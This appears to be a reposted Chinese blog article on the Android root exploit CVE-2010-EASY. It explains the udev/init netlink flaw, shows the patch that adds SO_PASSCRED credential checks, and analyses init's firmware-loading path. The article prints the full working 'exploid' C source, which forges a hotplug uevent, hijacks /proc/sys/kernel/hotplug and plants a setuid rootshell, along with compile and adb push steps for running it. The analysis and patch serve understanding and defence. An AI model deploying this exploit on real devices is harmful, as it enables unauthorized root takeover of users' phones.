zoukankan      html  css  js  c++  java
  • android提权漏洞CVE-2010-EASY修复【转】

    本文转载自:

    http://blog.csdn.net/lhj0711010212/article/details/9351131

    android提权漏洞CVE-2010-EASY修复
     

     linux系统由udev提供系统设备的管理,比如提供热拔插usb设备等等。而Android把udev的工作移交给init进程。而linux中版本号小于1.4.1的udev不会检查是由内核还是用户发送热拔插信息。因此用户可以发送恶意的信息让内核加载定义的恶意程序从而取得root权限。该代码如下。

    程序执行的顺序用(1)序号标明了。

    通过在 http://www.codesourcery.com/sgpp/lite/arm/portal/release1803 下载编译工具

    通过arm-none-eabi-gcc exploid.c -static -o exploid 编译

    adb push exploid /data/local/tmp 目录中执行即可root

            提权之后rootshell是一个权限为04711的属于root的可执行程序,普通用户也可以运行该程序,由于S位置位,当普通用户执行该程序时有效用户ID为root,从而可以运行root用户才能执行的程序和操作,从而提权成功。

    #include <stdio.h>

    #include <sys/socket.h>

    #include <sys/types.h>

    #include <linux/netlink.h>

    #include <fcntl.h>

    #include <errno.h>

    #include <stdlib.h>

    #include <string.h>

    #include <unistd.h>

    #include <sys/stat.h>

    #include <signal.h>

    #include <sys/mount.h>

     

    int main(int argc, char **argv, char **env)

    {

            char buf[512], path[512];

            int ofd;

            struct sockaddr_nl snl;

            struct iovec iov = {buf, sizeof(buf)};

            //(1)初始化要发送的数据,通过NET_LINK机制(参见man 手册,可以与内核实现近似于套接字的通信方式)发送

            struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};

            int sock;

            char *basedir = NULL;

     

     

            /* I hope there is no LD_ bug in androids rtld :) */

            //(11)root后执行rootshell则执行该步,直接创建一个有root权限的shell

            if (geteuid() == 0 && getuid() != 0)

                    rootshell(env);

     

        //(2)获取程序的路径,为/data/local/tmp/exploid

            if (readlink("/proc/self/exe", path, sizeof(path)) < 0)

                    die("[-] readlink");

     

            if (geteuid() == 0) {

            //(9)有内核加载热拔插固件时再次执行该应用,此时有效id为为0,有root权限

                    clear_hotplug();

                    /* remount /system rw */

                    

                    //(10)拷贝自己到/system/bin/目录下成为rootshell,并改变sh的文件属性

                    remount_system("/system");

                    if (copy(path, "/system/bin/rootshell") != 0)

                            chmod("/system/bin/sh", 04755);

                    else

                            chmod("/system/bin/rootshell", 04711);

                    for (;;)

                            sleep(3);

            }

     

            printf("[*] Android local root exploid (C) The Android Exploid Crew ");

        //(3)改变工作目录,没有root权限,只可以在少数目录执行

            basedir = "/sqlite_stmt_journals";

            if (chdir(basedir) < 0) {

                    basedir = "/data/local/tmp";

                    if (chdir(basedir) < 0)

                            basedir = strdup(getcwd(buf, sizeof(buf)));

            }

            printf("[+] Using basedir=%s, path=%s ", basedir, path);

            printf("[+] opening NETLINK_KOBJECT_UEVENT socket ");

     

            memset(&snl, 0, sizeof(snl));

            snl.nl_pid = 1;

            snl.nl_family = AF_NETLINK;

            

        //(4)构建一个NETLINK的套接字

            if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)

                    die("[-] socket");

     

        //(5)创建要热拔插的文件,其中hotplug文件中存储的为/data/local/tmp/exploid

            close(creat("loading", 0666));

            if ((ofd = creat("hotplug", 0644)) < 0)

                    die("[-] creat");

            if (write(ofd, path , strlen(path)) < 0)

                    die("[-] write");

            close(ofd);

            

            //(6)建立一个data文件,为指向系统的hotplug的符号链接

            symlink("/proc/sys/kernel/hotplug", "data");

            

            //(7)构建发送给内核的信息,内容为进行热拔插,固件位置在/data/local/tmp/hotplug

            snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"

                     "SUBSYSTEM=firmware%c"

                     "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);

            printf("[+] sending add message ... ");

            

            //(8)发送该信息

            if (sendmsg(sock, &msg, 0) < 0)

                    die("[-] sendmsg");

            close(sock);

            printf("[*] Try to invoke hotplug now, clicking at the wireless "

                   "[*] settings, plugin USB key etc. "

                   "[*] You succeeded if you find /system/bin/rootshell. "

                   "[*] GUI might hang/restart meanwhile so be patient. ");

            sleep(3);

            return 0;

    }

     

    void die(const char *msg)

    {

            perror(msg);

            exit(errno);

    }

     

     

    int copy(const char *from, const char *to)

    {

            int fd1, fd2;

            char buf[0x1000];

            int r = 0;

     

            if ((fd1 = open(from, O_RDONLY)) < 0)

                    return -1;

            if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {

                    close(fd1);

                    return -1;

            }

     

            for (;;) {

                    r = read(fd1, buf, sizeof(buf));

                    if (r <= 0)

                            break;

                    if (write(fd2, buf, r) != r)

                            break;

            }

     

            close(fd1);

            close(fd2);

            sync(); sync();

            return r;

    }

     

     

    void clear_hotplug()

    {

            int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC);

            write(ofd, "", 1);

            close(ofd);

    }

     

     

    void rootshell(char **env)

    {

            char *sh[] = {"/system/bin/sh", 0};

     

            // AID_SHELL

            if (getuid() != 2000)

                    die("[-] Permission denied.");

     

            setuid(0); setgid(0);

            execve(*sh, sh, env);

            die("[-] execve");

    }

     

     

    int remount_system(const char *mntpoint)

    {

            FILE *f = NULL;

            int found = 0;

            char buf[1024], *dev = NULL, *fstype = NULL;

     

            if ((f = fopen("/proc/mounts", "r")) == NULL)

                    return -1;

     

            memset(buf, 0, sizeof(buf));

            for (;!feof(f);) {

                    if (fgets(buf, sizeof(buf), f) == NULL)

                            break;

                    if (strstr(buf, mntpoint)) {

                            found = 1;

                            break;

                    }

            }

            fclose(f);

            if (!found)

                    return -1;

            if ((dev = strtok(buf, " ")) == NULL)

                    return -1;

            if (strtok(NULL, " ") == NULL)

                    return -1;

            if ((fstype = strtok(NULL, " ")) == NULL)

                    return -1;

            return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);

    }

    CVE-2010-EASY漏洞是android两大提权漏洞之一,它的修复方法很简单
    只需要给system/core/init/devices.c文件打个补丁就可以了,具体内容如下

       static int open_uevent_socket(void)                                                            

    +    setsockopt(s, SOL_SOCKET, SO_PASSCRED, &on, sizeof(on));

    //在open_uevent_socket对套接字增加一个选项 SO_PASSCRED,这样可以让套接字增加一个认证,让接收者可以知道发送者的uid和gid :-)

    }

    void handle_device_fd(int fd)

    {

    +    for(;;) {

    +        char msg[UEVENT_MSG_LEN+2];

    +        char cred_msg[CMSG_SPACE(sizeof(struct ucred))];

    +        struct iovec iov = {msg, sizeof(msg)};

    +        struct sockaddr_nl snl;

    +        struct msghdr hdr = {&snl, sizeof(snl), &iov, 1, cred_msg, sizeof(cred_msg), 0};

    +

    +        ssize_t n = recvmsg(fd, &hdr, 0);

    +        if (n <= 0) {

    +            break;

    +        }

    -    while((n = recv(fd, msg, UEVENT_MSG_LEN, 0)) > 0) {

    -        struct uevent uevent;

    +        if ((snl.nl_groups != 1) || (snl.nl_pid != 0)) {

    +            /* 如果不是内核的多播信息则抛弃 */

    +            continue;

    +        }

    +

    +        struct cmsghdr * cmsg = CMSG_FIRSTHDR(&hdr);

    +        if (cmsg == NULL || cmsg->cmsg_type != SCM_CREDENTIALS) {

    +            /* 如果发送者的认证没有则抛弃 */

    +            continue;

    +        }

    +

    +        struct ucred * cred = (struct ucred *)CMSG_DATA(cmsg);

    +        if (cred->uid != 0) {

    +            /* 消息不是来自于root用户则抛弃 */

    +            continue;

    +        }

    }

    }

    结合init源码剖析android root提权漏洞(CVE-2010-EASY)
     

    主要介绍向init进程发送热拔插信息后init进程的处理流程

    首先我们来了解一个数据结构,uevent,如下

    struct uevent {                                                                                

        const char *action;                                                                        

        const char *path;                                                                          

        const char *subsystem;                                                                     

        const char *firmware;                                                                      

        int major;                                                                                 

        int minor;                                                                                 

    };  

    内核收到的信息如下,ACTION=addDEVPATH=/../data/local/tmpSUBSYSTEM=firmwareFIRMWARE=../../../data/local/tmp/hotplug
    通过如下函数parse_event进行解析

    static void parse_event(const char *msg, struct uevent *uevent) 

    {

        while(*msg) {                                                                              

            if(!strncmp(msg, "ACTION=", 7)) {                                                      

                msg += 7;                                                                          

                uevent->action = msg;                                                              

            } else if(!strncmp(msg, "DEVPATH=", 8)) {                                              

                msg += 8;                                                                          

                uevent->path = msg;                                                                

            } else if(!strncmp(msg, "SUBSYSTEM=", 10)) {                                           

                msg += 10;                                                                         

                uevent->subsystem = msg;                                                           

            } else if(!strncmp(msg, "FIRMWARE=", 9)) {                                             

                msg += 9;                                                                          

                uevent->firmware = msg;                                                            

            } else if(!strncmp(msg, "MAJOR=", 6)) {                                                

                msg += 6;                                                                          

                uevent->major = atoi(msg);                                                         

            } else if(!strncmp(msg, "MINOR=", 6)) {                                                

                msg += 6;                                                                          

                uevent->minor = atoi(msg);                                                         

            }

             while(*msg++);

        }           

    }

    经过解析之后,uevent的结构为:
    action="add"
    path="/../data/local/tmp"
    subsystem="firmware"
    firmware="../../../data/local/tmp/hotplug"

    之后来到处理firmware的核心函数

    static void process_firmware_event(struct uevent *uevent)

    {

        l = asprintf(&root, SYSFS_PREFIX"%s/", uevent->path);

        //root为/sys/../data/local/tmp/=/data/local/tmp/

        

        l = asprintf(&loading, "%sloading", root);

        //loading为/data/local/tmp/loading

        

        l = asprintf(&data, "%sdata", root);

        //data为/data/local/tmp/data   其内容为指向/proc/sys/kernel/hotplug的符号链接

        

        l = asprintf(&file, FIRMWARE_DIR"/%s", uevent->firmware);

        //file为/etc/firmware/../../../data/local/tmp/hotplug=/data/local/tmp/hotplug

        

        loading_fd = open(loading, O_WRONLY);

        

        data_fd = open(data, O_WRONLY); 

        

        fw_fd = open(file, O_RDONLY);

        

        load_firmware(fw_fd, loading_fd, data_fd);

    }

    最后来到load_firmware函数,把hotplug中的数据写到/proc/sys/kernel/hotplug中
    其内容变为/data/local/tmp/exploid

    static int load_firmware(int fw_fd, int loading_fd, int data_fd)

    {

        while (len_to_copy > 0) {

            char buf[PAGE_SIZE];

            nr = read(fw_fd, buf, sizeof(buf));

                                                                             

            len_to_copy -= nr;                                                                     

            while (nr > 0) {                                                                       

                                                                                                   

                nw = write(data_fd, buf + nw, nr);                                                 

                nr -= nw;

            }

        }

    }

    终于/proc/sys/kernel/hotplug中写入了我们的恶意程序了,只要再次受到如wifi打开、usb插入等热拔插信息,内核就会以root权限加载我们的程序再一次执行,从而达到提权的目的

  • 相关阅读:
    [转]C# 文本框只能输入数字
    [转]C# dataGridview 报“索引-1没有值”的解决办法
    配置<authorization>节(配置文件)
    [转]javascript的urlencode
    SSM框架搭建问题
    web server
    mysql 系列
    UI 框架、ORM、权限系统
    一个基于 .NET Core 2.0 开发的简单易用的快速开发框架
    DotNetty 版 mqtt 开源客户端 (MqttFx)
  • 原文地址:https://www.cnblogs.com/zzb-Dream-90Time/p/8087521.html
Copyright © 2011-2022 走看看